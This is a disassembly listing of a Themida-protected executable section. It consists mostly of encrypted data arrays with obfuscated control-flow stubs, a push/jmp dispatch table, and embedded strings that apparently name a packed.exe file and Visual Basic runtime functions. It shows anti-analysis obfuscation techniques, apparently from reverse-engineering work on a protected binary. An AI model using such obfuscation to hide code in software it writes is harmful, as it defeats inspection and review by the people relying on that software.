		dd 8AC7A71Ch, 0ADA32EEh, 0A7F6D05Fh, 0F5DA32EEh, 1774ED44h
		dd 0E1DD4A99h, 0E04B616Ch, 6152E188h, 7AC0BDB4h, 789F4DBh
		dd 0F7866B1Ah, 6419143Fh, 16E900F0h, 71158C2Fh,	7FCh, 0E1E39A7Bh
		dd 794B3216h, 0E3E5988Eh, 7F512C18h, 0EDDF9E94h, 0CCBE584Eh
		dd 3B34DFB1h, 0D4B74242h, 715C27A9h, 0E7E4BC0Ch, 23A64A07h
		dd 0E35B4AA7h, 0CCB19924h, 7D00E7A6h, 1A6349E4h, 6EA31DAAh
		dd 0FCBB0524h, 89CDED16h, 8E1A0B48h, 2F0F1C55h,	0B359AF9Fh
		dd 18A542F7h, 3380502Dh, 62D1ACA2h, 23703564h, 7CB267A7h
		dd 0FEA7D6D1h, 2BC817B1h, 0D8A58D38h, 0A068A4A2h, 0E594AD3Eh
		dd 0ADD0B746h, 483530DBh, 0DF9E9421h, 5348179h,	9436F3FAh
		dd 768h, 6D5F1E0Fh
		dd 0FDCFAEA2h, 6F611C12h, 0F3D5A8A4h, 695B2208h, 5042DCCAh
		dd 0B7B05B2Dh, 583BC6C6h, 0EDD8A325h, 6B684090h, 23A5CE8Bh
		dd 67D7CEA7h, 1A373724h, 7AAD3EDFh, 0B1CCC2CFh,	61B00889h
		dd 0F18F4D2h, 1544B35Ah, 0B3846716h, 23AE86D3h,	0A6316A7h
		dd 6606F493h, 0E7D96C65h, 0BA4BE88Eh, 2E3DAAD3h, 235B0150h
		dd 0B4C9C1A7h, 1878BE6Bh, 8B5826Dh, 8D445D20h, 235AE4B1h
		dd 0D7A3B0A7h, 0BD28C8AFh, 0BCE58CE5h, 34493ECFh, 0DDAE842Dh
		dd 4171463h, 0F17A1717h, 0EF1AA722h, 0F971BD47h, 9CCDAD37h
		dd 0B81FCB8h, 0D57930FAh, 6B8h,	0DDAFCEBFh, 4D3F3E32h
		dd 0DFB1CCC2h, 43453834h, 0D9ABD2B8h, 0A0926C5Ah, 2720EBDDh
		dd 0A88B7656h, 1D08F3D5h, 0BBB87060h, 23A49EBBh, 3787FEA7h
		dd 15FA9F86h, 38452D68h, 501F201h, 0AD3EDE58h, 425D1544h
		dd 0A4BDC0A7h, 97AF43B3h, 0AF5ECDB0h, 0F59CC5B8h, 4D5A493Dh
		dd 0A97201F7h, 7, 2C57F1Bh, 86310000h, 68C7DE9Fh, 817281D0h
		dd 0D6BBDED4h, 0B6C1CEA7h, 0FD8C2B0Ah, 0F7D12B03h, 23B35921h
		dd 644CF9F6h, 0D059019h, 1D71C970h, 5B027B72h, 2FA1DCCEh
		dd 0B59126A2h, 0A722FFE8h, 0D48FEEE2h, 4C5FCCA5h, 0AFB6C7C1h
		dd 0D9D63006h, 47AD3E2Fh, 77061512h, 0BC75EC91h, 3DF01342h
		dd 0C1BCAFADh, 336F1A8h, 180FBE2Bh, 0AD986365h,	85B063D0h
		dd 0BBF31A8Bh, 83AAD3B6h, 3319B4ABh, 9C730F64h,	4E366A67h
		dd 8549062Fh, 0A7C0A40h, 0CA2940F9h, 29543B6Eh,	0CFE3E350h
		dd 0EFB352F9h, 0FC672F54h, 0DD94CF41h, 10F4AB77h, 9A2CE5FCh
		dd 5A4h, 299BE2D3h, 0B1136A5Eh,	2B9DE0C6h, 0B7196460h
		dd 3597E6CCh, 4E60076h,	836C1779h, 0CFF8AFAh, 79741F71h
		dd 1F0C8404h, 23A3721Fh, 0DB3322A7h, 0C7DE9F86h, 854432Ah
		dd 5716A78Bh, 24B1B881h, 0BB564F2Eh, 1BFCA5D8h,	60D3079Bh
		dd 5F465ED6h, 7281AE1Eh, 3EA7C594h, 0CCA2D7ADh,	1C04C5Dh
		dd 7AC72h, 7F1E0000h, 144h, 0DE9F8631h,	56BA67Ah, 871BD6FAh
		dd 528h, 0AD1F5E4Fh, 3D8FEEE2h,	0AF215C52h, 3395E8E4h
		dd 0A91B6248h, 90829C0Ah, 0F7F09BEDh, 987B0686h, 2D18E3E5h
		dd 0ABA88050h, 23A38ECBh, 27970EA7h, 807A9724h,	4B2B8C37h
		dd 7D6823h, 570600F3h, 73AD3E06h, 1322FD80h, 923B621Bh
		dd 810C93DBh, 8D6EF786h, 666179E9h, 2166B517h, 0D572011Fh
		dd 21h,	3E5B5B48h, 5EAD3E0Fh, 0D59CE1C7h, 0BD7F2B9Dh, 92000000h
		dd 0F66F0E03h, 7F99F73Fh, 0B0h,	396CC431h, 0E8072E4Fh
		dd 4F0EE8FBh, 4DAD3EDEh, 1CE8561Ch, 38B35A10h, 0ADAEEBCBh
		dd 3BEEA723h, 18611C0Eh, 17826A1Bh, 4E244D30h, 93CF453h
		dd 0EB927920h, 2FCEB42h, 0AD38D378h, 2F27ED1Ch,	0A1FA0B7Ch
		dd 45A46E8h, 381D0000h,	0D0B84345h, 3630DBADh, 0D2BA4547h
		dd 3C2ED9ABh, 0FAF04F41h, 71532A20h, 0ECDCA186h, 71532A21h
		dd 0EEDE9F86h, 203D3936h, 7CA723A3h, 6CC4B909h,	0FB300E1Dh
		dd 99B3542Dh, 0E269CD8Ah, 3FF6969Fh, 522B25B0h,	98163872h
		dd 0C1ACA729h, 2CDFCCBCh, 0D6BA2523h, 0B73FE8A7h, 0DFC984AAh
		dd 0F563079Eh, 4D000003h, 0E1D6CC4h, 4DC46E1Dh,	92C9FB5Bh
		dd 6DA662DCh, 0A7D2B359h, 8217B1FEh, 0A29CE1D3h, 0A7234CF3h
		dd 32C178A1h, 38732A54h, 59BF6AADh, 0FA0BDFF3h,	0BD8628E1h
		dd 0BA000003h, 5924A4D9h, 0D1BC0C71h, 5B26A6D7h, 0CFBA0A73h
		dd 9130A0DDh, 720B011Bh, 0FB826712h, 720BFE89h,	0FD806712h
		dd 1816138Bh, 0A723A179h, 24D42A1Bh, 0A3CBB299h, 0AC3B8A26h
		dd 5A0FFAD2h, 0FCEB1EB3h, 20228F4Fh, 0D39BE4DEh, 0BDC0A756h
		dd 14413D2Eh, 80A72349h, 622DA1D9h, 3C8B126Bh, 0B8B63584h
		dd 0AD3E789Fh, 26D75405h, 0C34E3E3Fh, 0BBB8B1CCh, 2258250Ah
		dd 0EDE417B1h, 6C4AE990h, 0B3534A2Ah, 0D9A48736h, 145129D0h
		dd 0DC4BEF65h, 0CC45FC10h, 3273Ah, 225B5000h, 8AF3D7A2h
		dd 24594F3Ah, 90EDD9A4h, 1E5F5540h, 7F990FAEh, 0F5A0F08Dh
		dd 840F81FCh, 0F5A0F08Dh, 890183FAh, 0A1F3A29Ch, 0B4A1A723h
		dd 0DE9F865Eh, 563DC8C7h, 48C95341h, 0C66FA902h, 93EAE570h
		dd 0DD2C8431h, 2412704Eh, 1742B353h, 12E1B48Eh,	6707A729h
		dd 2B2A7FFBh, 2ECE6BECh, 0
		dd 0E1D6CC4h, 53E20A30h, 52B9CAB3h, 0BC7E57D3h,	0BD1AC233h
		dd 0C6E1CF8Eh, 490CF66Fh, 9FA72952h, 6227A30Fh,	966BEC6Fh
		dd 0DCh, 0DE9F8628h, 35482AC7h,	0F3A6A12Ch, 38B77EFFh
		dd 0DF0E4B2Bh, 0DB8EAD3Eh, 86810C93h, 0CC9B95F7h, 16AD3EE3h
		dd 0F9846A2Fh, 2070C970h, 0E4037A75h, 4B98E657h, 90E6532Fh
		dd 0AFFEBA19h, 0D1B44640h, 21ACB353h, 37A7425h,	0CF7A332Ah
		dd 5009A0DDh, 0BC0C3D2Ah, 94E9DE6Fh, 0BD0E640Dh, 3737B403h
		dd 0AD41781Bh, 0B461CE7Bh, 4330BFBEh, 3C261643h, 9BD386ADh
		dd 514DFE2Bh, 0F119DE86h, 0A587C66Ch, 0DAE484D8h, 0F1A8FA07h
		dd 20B5Dh, 0F6876C00h, 7607EB96h, 0F8856B16h, 7C01ED98h
		dd 0F28B810Ch, 4BA51392h, 0C9B41469h, 602B9DE0h, 0C9B41469h
		dd 752D9FDEh, 0A0DF7E78h, 0C8BDA723h, 6397247Ah, 0BF674C5Bh
		dd 5339541Ah, 0B8AF5A2Ah, 714DEAE1h, 0AD3E3124h, 0F970C970h
		dd 2997F940h, 4D396CC4h, 0D5803930h, 5ECDA4D9h,	53E2DA60h
		dd 0E04FFAB3h, 0DBA6F3D3h, 43F6A729h, 0C78A74EBh, 21A729DBh
		dd 0F2A31D95h, 0CAB39AFFh, 1B531AD3h, 0ECF77B0Ch, 0EB7B6Bh
		dd 1FAE0000h, 0AB1D5528h, 1E219724h, 65D9308Eh,	0F6877E0Dh
		dd 8DF0E26Fh, 4F392A14h, 0A28DAD3Eh, 4EFC9995h,	8D98AD3Eh
		dd 26CFD6A7h, 79A6264Fh, 4ECD8C6Ah, 9ACFAD3Eh, 0CBCEB9D4h
		dd 821198E5h, 17522CDDh, 0EAA7CE9Ch, 0A5BC7508h, 8C9BEA46h
		dd 0F5B1EC9Fh, 0B9FDDC3Eh, 72738381h, 5CEFB353h, 54569DC9h
		dd 89F4DD9Fh, 0CEAFA5B0h, 0F581ED7h, 63DD6A5Ah,	10A1F0CEh
		dd 0F3A729h, 29105706h,	5D1445A7h, 1C171714h, 0B8AD40B8h
		dd 0B591A291h, 0AD3C75E8h, 3CAD85B4h, 0E2E29B91h, 0D4483517h
		dd 0FA07025Ah, 0D92FD34Eh, 9E000000h, 1500D0ADh, 0A570601Dh
		dd 7F2D2ABh, 0A36E5E1Fh, 3DFCCCB1h, 0BEBFB54Fh,	2F4E43CEh
		dd 0BEBFB25Dh, 314C43CEh, 0ECCAC75Fh, 0A7239EADh, 860876EFh
		dd 0CF7D9A4h, 3CCF5C21h, 0EB2989B2h, 4090E672h,	0DE9F8692h
		dd 0F4432AC7h, 3EDE5BFAh, 691039ADh, 0F5EDA67h,	0E792620h
		dd 62F3B35Ah, 0DE970E6Fh, 8D9ACF98h, 0B4132BFEh, 99B30D3Ch
		dd 5A7714F0h, 502EBD32h, 0A723BC01h, 1990E693h,	0F5886B1Ah
		dd 0DE6DC56Ch, 2ACAB0E7h, 241869E1h, 95907B4Dh,	73E5C1E8h
		dd 62BE2034h, 57E660D4h, 0DB920B72h, 8A0DF893h,	0DEBEF1E9h
		dd 0E7EB758h, 78F18C83h, 158CF1DDh, 4940CD5Eh, 470FE34h
		dd 6A13FB8Ah, 59F43AF3h, 0D2BD0F6Eh, 67FBA2DBh,	8, 0B3992449h
		dd 8317A4CAh, 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h
		dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h
		dd 0E0895004h, 405h, 4E88300h, 8B240487h, 36682424h, 89000000h
		dd 89512404h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 240C895Ch
		dd 1B322B68h, 24048B06h, 4C481h, 8B540000h, 0C481240Ch
		dd 4, 8BB53h, 0CB010000h, 1C8B0389h, 4C48324h, 57240C8Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h,	0C4835824h
		dd 74EE904h, 4824FFFBh,	92CA2E72h, 4116B8BCh, 0C503061Bh
		dd 0AB3EE0FFh, 4D7E1F1Ch, 8B787437h, 0AF0E3873h, 26855FFDh
		dd 7E85D45h, 15000000h,	7B3FE764h, 94B58F4Ah, 7761BA5Fh
		dd 0C7814CA0h, 70DFh, 0CAB70F56h, 2CA2BB5Eh, 0EB81713Ch
		dd 713C1094h, 3810Fh, 0F2800000h, 8A37FF1Eh, 0CE958EBh
		dd 8B000000h, 22DF6604h, 0ED18204Ah, 815DC465h,	0B25C70E8h
		dd 0BE822h, 0A7790000h,	5292D895h, 123D9BCDh, 0F2816696h
		dd 815A1DFAh, 0C40F86C0h, 81F08A31h, 31050EF0h,	7E28103h
		dd 89468FBBh, 0DE907h, 11470000h, 45DFBF8Dh, 1B37ACE1h
		dd 83897329h, 5E901EFh,	88000000h, 38D6A006h, 814F4F4Fh
		dd 0C9588EF6h, 850F4B22h, 0FFFFFF89h, 4510E981h, 8D8D4F2Bh
		dd 61B435Fh, 0EEB86652h, 870F5AFDh, 0Eh, 9E9h, 17856A00h
		dd 0BDC4C506h, 8D89F167h, 6152721h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 34C35747h, 0EE44DA86h, 1D8D31F5h
		dd 0C7061527h, 1504CD85h, 72EC06h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8091715Ch
		dd 14E9CFD3h, 42000000h, 0FA9815CEh, 56A242Ah, 0CB67D726h
		dd 37B2C23Dh, 315DD0D1h, 15223595h, 1585C706h, 61511h
		dd 8B000000h, 95B5FFF0h, 6A061505h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 1A3AC355h
		dd 609E457Ah, 0F7B70F17h, 2C995FFh, 6A0615h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 3A5ADDC3h
		dd 6A37422Eh, 2195FF00h
		db 2Eh,	15h
; ---------------------------------------------------------------------------


loc_5DDD8E:				; DATA XREF: Themida_:0057C14Co
		push	es
		mov	eax, eax
		jmp	short loc_5DDDFD
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0E93AA788h, 66DA58E6h, 1C9764C5h, 848A2104h,	0CC0212B1h
		dd 8683067Dh, 3A2CEFh, 209425FCh, 0C9E5A942h, 5841C7EAh
		dd 5FD20EEFh, 0C1D52720h, 0F1C3406Fh, 6360B78h,	0EE4E1AB6h
		dd 7224AD4h, 0CD504AB2h, 923343A1h, 0B51242ABh,	6A4EDE12h
		dd 29728517h, 0A046E324h, 77A80216h, 8DC5B98Ch,	65DAE12Bh
		dd 535FBBCBh
		db 3Bh
; ---------------------------------------------------------------------------


loc_5DDDFD:				; CODE XREF: Themida_:005DDD91j
		lea	ecx, [ebp+61B4475h]
		cld
		mov	[ebp+6152721h],	ecx
		pusha
		mov	[ebp+61509B5h],	eax
		jmp	loc_5DDE21
; ---------------------------------------------------------------------------
		dw 2C72h
		dd 0C9956ECFh, 0DD5469BAh
		db 0A3h
; ---------------------------------------------------------------------------


loc_5DDE21:				; CODE XREF: Themida_:005DDE11j
		popa
		mov	dword ptr [ebp+61504CDh], 6E94h
		push	0
		push	edx
		call	sub_5DDE37
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DDE37	proc near		; CODE XREF: Themida_:005DDE2Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5DDE37	endp

; ---------------------------------------------------------------------------
		db 29h
		dd 0D0F47D6h, 0D0FF502Ch, 0C7C78B66h, 15111585h, 6, 0D7FDBB00h
		dd 0B58B7898h, 6150BF1h, 3375B5FFh, 6A0615h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 50F554C3h
		dd 0C4805BF9h, 0C995FF83h, 9061502h, 1510F59Dh,	0FF006A06h
		dd 152E2195h, 0EBC08B06h, 68875A0Ah, 0BF0EF22Bh, 0E9D8A596h
		dd 24h,	6F189A5h, 8 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5DE465
; ---------------------------------------------------------------------------
		db 0D6h, 58h, 0E8h
		dd 2393160Dh, 0F060DD52h, 3AAA0E25h, 0F666C45Bh, 9003881Fh
		dd 0FC33C232h, 0B56A0B7Bh, 12EC737h, 50831282h,	0B692B78Eh
		dd 9859169Dh, 9E0E6DC6h, 864F48ECh, 0E83A0A7Bh,	0E05139EDh
		dd 0AEC3F363h, 0D141C04Ch, 2EC7E8E5h, 24128201h, 0FA3CAC0Fh
		dd 1E1888E9h, 13B41B82h, 7EB540B0h, 63E78EFEh, 2287CA79h
		dd 5AD91086h, 6DD3ACEAh, 0FF7DAE5Ch, 159A878Fh,	22C811B4h
		dd 0E2B31086h, 58EBF1CDh, 10862331h, 15FFEBBCh,	0A5072C2Eh
		dd 735A5535h, 0A3E65D7Fh, 0E1108623h, 477FFF7Ch, 0D1E25E2Bh
		dd 0C7CF839h, 0AD39BA69h, 0C939BF4Bh, 0F0DFF0CDh, 801F3FC6h
		dd 0DA5B1086h, 8BD356F3h, 905997A8h, 2D000000h,	5F57C724h
		dd 86F2BFE4h, 933ABB10h, 0E45F7D5Fh, 1086F2BDh,	93B66F40h
		dd 5A1086F2h, 59396E49h, 0C0A42588h, 4AFE6B2Ah,	0A8697A8h
		dd 0C4000000h, 0A6680793h, 4E3C1FA5h, 55C524E6h, 81F15061h
		dd 0FD249FBDh, 801086F2h, 970764AFh, 825339F3h,	76D69ED7h
		dd 2EDB8F14h, 475C5ACAh, 314274E4h, 51C143CFh, 4F476865h
		dd 7E6558DFh, 6E842BB2h, 0C38CD570h, 5E6F1086h,	8AFA7FACh
		dd 0C67D5FEBh, 1086C383h, 80B1596Ah, 81F17703h,	2461C7AEh
		dd 536056C6h, 81387EEEh, 0A022A518h, 0A8052E30h, 0EC435238h
		dd 0A171F8Fh, 470D4AABh, 1EABE6CFh, 5EBEE342h, 7B3D1086h
		dd 865E81C8h, 745B6C10h, 32DD5B5Bh, 0C86BBE8Bh,	5ED197A8h
		dd 0E5000000h, 6056C624h, 9482F253h, 0C82A951Ch, 0C410258Fh
		dd 1D990D14h, 1C8B900Bh, 0A465052Ah, 0F03FD646h, 0FFF42292h
		dd 0AB0D0979h, 0C910B3A9h, 0B41086DAh, 1D9007E3h, 0A844F12Ch
		dd 4F3797h, 24530000h, 2B8856C6h, 6D6254C4h, 22A28F7Dh
		dd 960384B2h, 666CB27h,	0BBAFA096h, 997CEC4Eh, 39C52493h
		dd 724B4BBBh, 6650C041h, 0F5504669h, 1086F2A9h,	0AA07D5C9h
		dd 0E1DED848h, 86F21D44h, 1BCFE010h, 7D004974h,	397A81Ah
		dd 1, 0DF624F17h, 5D56276Fh, 999A70E0h,	0C108BB1Ch, 0AC1086F2h
		dd 0B4AAB49Bh, 86F2C811h, 0B1E2B310h, 0D8B5E151h, 8CEF0432h
		dd 8EF1421Ch, 0F373962Dh, 29FA1086h, 0CBAA6406h, 53D4DDFFh
		dd 0F31F42E3h, 0CDDE1086h, 0A74B721Dh, 0F3CB0EB5h, 0C5B21086h
		dd 0CEBFF767h, 0AD0809E1h, 0E1F6583Dh, 0D49A7913h, 0F39D4D53h
		dd 784B1343h, 169BA6ACh, 0BDB6E0B1h, 0F827CE3Eh, 0A80B0B7Bh
		dd 16939763h, 9235A811h, 0DFFDC131h, 93973D64h,	47FEC016h
		dd 16939702h, 13F7D8E9h, 0BC48AB78h, 0E9E6D040h, 60E3D0C6h
		dd 4DADC6F0h, 0AC5EBE5h, 9BB4412Dh, 0CF12B19Bh,	0AE16939Eh
		dd 0A515969Dh, 95058071h, 0D4BDACA1h, 4B0FFAE9h, 7BF985E6h
		dd 1D320B0Bh, 2C9B426Dh, 567F5FCFh, 0BB7F8D5Eh,	0B9D5E26Bh
		dd 0BA705C37h, 0C3EE7D6Dh, 9DBD5D36h, 135BEh, 0BABDA00h
		dd 3D903DBh, 86F21940h,	63E2E410h, 1086F23Eh, 27C3ECBDh
		dd 9BF67C7Ch, 843F0116h, 1693F65Dh, 62A71E20h, 91693F6h
		dd 0FE381738h, 7F1686E5h, 0B3E353B0h, 0C9CD3DBEh, 0AFE757D8h
		dd 0E3D343C2h, 5D8639E0h, 0EDDA05ACh, 0D3771E8Eh, 0F6173A09h
		dd 0C5D61693h, 1E036625h, 50899DBDh, 9D000000h,	0DE0EABh
		dd 86F23C45h, 0A8EEBF90h, 0FB6BCDE6h, 0F26DB40Fh, 0CE909086h
		dd 0A3930365h, 0E6D9C0AAh, 0D141A70Ch, 76C27F39h, 2C8D86F6h
		dd 0F8CB93BCh, 1086F2F1h, 0E6CAAB7Ch, 96h, 64BFAE4h, 0E51086F2h
		dd 0F23960E3h, 0F3C41086h, 0AB062EDCh, 0CC3CBF0Bh, 0DEF161C7h
		dd 0DE00DE00h, 86F22267h, 4DF8C910h, 1086F204h,	5DDDD6E7h
		dd 36D4A9EDh, 9C062B87h, 55415216h, 4F6FDF5Ch, 7C6EDE62h
		dd 7D686DF1h, 0D07B50DAh, 0C043F09Ah, 0BDDF6650h, 4316932Eh
		dd 0BC875A7Bh, 0A0CB0926h, 0CAA01073h, 84E7E0CFh, 85398114h
		dd 82538955h, 2D25CEBh,	0DCC7A379h, 10B7B238h, 0B9AAECBDh
		dd 0E9CCCA3Ah, 0FDC18D40h, 0CFE050B1h, 0FF8054EFh, 0A4751A92h
		dd 0BAB6BD1h, 49AE03DBh, 982B31D9h, 16A236FCh, 9A0F361Fh
		dd 0E34F5AAEh, 90869707h, 0E5B020A3h, 397DED4Eh, 6AE195BAh
		dd 31824417h, 0E8961D1h, 5BCB289Fh, 0F7CE90BAh,	1780E5D2h
		dd 0FB68899h, 1780E5CAh, 90AE0B1h, 2E9E1EAAh, 9C1C1501h
		dd 697EC434h, 250A31BBh, 27971819h, 3BEAC943h, 0CD795E94h
		dd 33E7E072h, 9C1F0CFEh, 0D705492Ch, 80FC256Ch,	54DBC817h
		dd 0F2DDB2E4h, 28981B18h, 0A86EEh, 6FC40000h, 0A19E9808h
		dd 4B2F51C9h, 5C5ACA24h, 4274E447h, 3363D331h, 4D49B93Eh
		dd 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h, 3C7AEA4Fh
		dd 0E0895078h, 430FBD55h, 0CD8136C5h, 515204E9h, 8108E5C1h
		dd 83482BC5h, 0F0E5814Dh, 8114CD35h, 0C9351CEDh, 5DE80104h
		dd 8704E883h, 685C2404h, 1D90h,	52240C89h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 1C895C24h, 44B26824h, 0C8B061Bh
		dd 4C48324h, 241C8B54h,	4C481h,	0EC830000h, 240C8904h
		dd 0FF08438Fh, 835B2434h, 0C8B04C4h, 0E0895024h, 405h
		dd 40500h, 4870000h, 1FE95C24h,	93FFFA34h
		db 44h
; ---------------------------------------------------------------------------


loc_5DE465:				; CODE XREF: Themida_:005DDEDCj
		mov	eax, 61B49AAh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 2C5Ah
		dd 0C3C465E3h, 9D9845F9h, 727356D4h, 7CCE57CDh,	37D44544h
		dd 5F6A7CD7h, 62555C35h, 1D0521B2h, 0EFC704B0h,	8CA22FD0h
		dd 0EE3121C5h, 3B17278Ah, 0C124A33h, 5778589Bh,	9332698Fh
		dd 58D71DE5h, 0D530D4Dh, 0A1F30345h, 0DBE92EF5h, 396D7547h
		dd 9BFB7F01h, 0FCB61446h, 5EC539F6h, 0DCB45647h, 61B46DD7h
		dd 13E826F1h, 0E3000000h, 34164AF0h, 2285473Ch,	0DF317A8h
		dd 200594C8h, 0CE81D88Dh, 60698E10h, 99DC8059h,	647AC181h
		dd 0C8800000h, 81D22B32h, 0C0E58EF0h, 113C8B45h, 0E1D04BBEh
		dd 34C78142h, 0E8126CACh, 9, 0ED60E2Bh,	891D649Bh, 28E0F5Ah
		dd 51000000h, 0C781585Bh, 20B6A0F5h, 84D08166h,	0ECC781B2h
		dd 607E2914h, 0E8C3B70Fh, 0Ah, 9F9BB7D5h, 108B9368h, 0BB66F4FDh
		dd 615F772Dh, 0F113C89h, 1B85h,	14E95600h, 47000000h, 23803EBEh
		dd 361C89B7h, 0B882B891h, 908A751Dh, 5B194A15h,	5B525656h
		dd 0EA835E5Bh, 0E6816604h, 0FA81D8A4h, 0FFFF9C40h, 0FF73850Fh
		dd 8B66FFFFh, 0CE8C1h, 0CDC00000h, 0BDFDBB11h, 28764DA6h
		dd 0EE9FED9h, 1F000000h, 0C6C5F8A9h, 3DE431D1h,	213E4135h
		dd 14E95BBCh, 94000000h, 961A2E02h, 0B80B6ACAh,	0DC5A87ECh
		dd 0CFF2D273h, 816EA5D4h, 59C3C3h, 33D48A00h, 1834FFC0h
		dd 8F0Fh, 81590000h, 26BCD9E9h,	0AE921h, 0D3630000h, 0CBB35CCCh
		dd 86BD9D59h, 5672F181h, 0F181485Bh, 1DD55A15h,	512CDA80h
		dd 4810Fh, 0BF660000h, 48F4581h, 12E903h, 7A460000h, 0A36E7519h
		dd 33712E7Bh, 0FC4DFF8h, 0C35979A0h, 4F03E881h,	0BF0F0208h
		dd 0FFC081FBh, 6602084Eh, 0F8C1C681h, 0A6F4F881h, 850FFFFFh
		dd 0FFFFFF8Dh, 0E9B7B9BAh, 17AE944h, 0F16A0000h, 60DD6869h
		dd 3A437C83h, 755F6D5Ch, 6361706Eh, 72656Bh, 6B636170h
		dd 652E6465h, 6578h, 3Ah dup(0)
		dd 43330000h, 6F6E6E61h, 69662074h, 2720646Eh, 2E277325h
		dd 656C5020h, 2C657361h, 2D657220h, 74736E69h, 206C6C61h
		dd 73696874h, 70706120h, 6163696Ch, 6E6F6974h, 75685400h
		dd 4D54526Eh, 6E6961h, 62765F5Fh, 72615661h, 4E747354h
		dd 65h,	7 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E045A
; ---------------------------------------------------------------------------
		push	61B4F81h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5080h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5191h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5264h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B52A3h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B535Bh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B53BFh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5427h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5C15h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5C87h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5D2Eh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5E4Dh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5EC7h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B5F7Bh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B602Bh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B60B5h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B670Bh
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B6823h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		push	61B68B4h
		jmp	loc_581882
; ---------------------------------------------------------------------------
		align 4
		dd 2FC636h, 0AF841181h,	0E837DE4Eh, 0A67D1888h,	6A41D444h
		dd 9C0C6E21h, 55C52AF9h, 0A11173C0h, 6CDC5FD4h,	0B5103E89h
		dd 169DBC6Ch, 4FAE8E0Fh, 0F293B68Dh, 4DF81086h,	1086F204h
		dd 596AD6E7h, 930380B1h, 0BD2D8EA3h, 0FE2ED2D8h, 0FB2D65E0h
		dd 0A7B0169Bh, 0C2612EC2h, 0C8CEE164h, 9372206Dh, 0AA07CD16h
		dd 0C6DBDB4Bh, 0CFC0F666h, 208F0AE0h, 0BD9DC429h, 2F4C9Dh
		dd 0AB600000h, 0AE03DB0Bh, 0CAD7DF4Fh, 0D9DAF565h, 0D1AEE858h
		dd 90A02339h, 0AD169BF5h, 0F21B9A9Ch, 7B1693F1h, 1DA0A914h
		dd 0A39DBD1Dh, 0C0h, 0E1624F77h, 0B3D66D71h, 3A1086F2h
		dd 33908169h, 5CDED3C3h, 60E1D2ECh, 321C1AF0h, 24128201h
		dd 1B8BE82Bh, 0CB48221Bh, 0A5BEF868h, 823FD646h, 1086F617h
		dd 0BEA5AD9h, 0EF279714h, 0B985B589h, 9C01460Ah, 7F162716h
		dd 87578737h, 8B8473BCh, 1D21F210h, 2393F23Fh, 0F868CA47h
		dd 34A4061Dh, 0BED06469h, 117183B1h, 19E9h, 3CD949A5h
		dd 831282E7h, 14E151ACh, 4C29991Fh, 12E353D7h, 179B1695h
		dd 0DE61CEA7h, 1C98876Eh, 0D95AC9ACh, 133B8C69h, 9DBD69B0h
		dd 0E9531416h, 747D864Fh, 0A009053Ch, 81E949CAh, 61E410DEh
		dd 1086EE38h, 6AE5F2C3h, 9808659Ah, 26FD98B7h, 7CC055C5h
		dd 3DB0BABh, 9BF5F040h,	7ABC8D16h, 93F1D2FBh, 0C9F49B16h
		dd 0BD1CFD80h, 15949D9Dh, 0EE9C71A5h, 0DB4Eh, 0CA4B8C00h
		dd 2FEAE109h, 24B96109h, 525F57C7h, 2F9680F0h, 1086F6A2h
		dd 47B73A77h, 950566A3h, 990968C9h, 0A6B8A2F1h,	86F7FA1Fh
		dd 19948110h, 27E486A9h, 4CBC38C4h, 0F1C53363h,	0FDDFFDC1h
		dd 86F70346h, 31D9EA10h, 9C00CE92h, 16ADAF16h, 1693EAF3h
		dd 0EF86A97Ah, 71E1466Bh, 0F8A24845h, 7F461848h, 108B81D3h
		dd 1B340F48h, 0EFFED0D3h, 0B48A9BFBh, 0EA8BFB7Fh, 0B845B535h
		dd 0B1BE949Dh, 0EABC383Eh, 0A4000018h, 0E43BDA4Ah, 0B3801585h
		dd 1C13E252h, 0DA492C9Ch, 8E0DE858h, 0B020A21Dh, 79E94EE5h
		dd 0B525879Ch, 80F053E0h, 49FCE2F5h, 169DA200h,	24122AEBh
		dd 0BBDE65C6h, 421086F2h, 68B75E71h, 50FA9B0Bh,	4571E163h
		dd 0F2A5EC57h, 77481086h, 68D85B58h, 81B9512Eh,	5F57C724h
		dd 3590F152h, 1086F2ECh, 491BE8Fh, 0CD202B6h, 9BF69539h
		dd 77475816h, 0F6BBDE65h, 71421693h, 0F5189B99h, 821693F6h
		dd 0E94AA817h, 251A1C8Ch, 21E34645h, 0CB699DBDh, 3D000000h
